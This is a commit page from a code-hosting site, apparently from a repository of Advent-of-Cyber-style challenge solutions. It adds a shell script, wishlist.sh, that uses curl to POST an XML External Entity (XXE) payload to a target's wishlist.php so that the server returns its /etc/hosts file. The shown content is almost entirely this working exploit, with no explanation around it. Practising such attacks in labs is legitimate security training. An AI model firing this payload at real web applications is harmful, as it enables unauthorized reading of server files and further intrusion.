siv/aoc24
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

batman

Browse Source
This commit is contained in:
Sivert V. Sæther
2024-12-08 17:19:06 +01:00
commit 8ffc4db7a8
9 changed files with 269 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

12
5/wishlist.sh Executable file
View File

@@ -0,0 +1,12 @@
#!/bin/sh
target=`cat trgt`
curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
-d '<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>'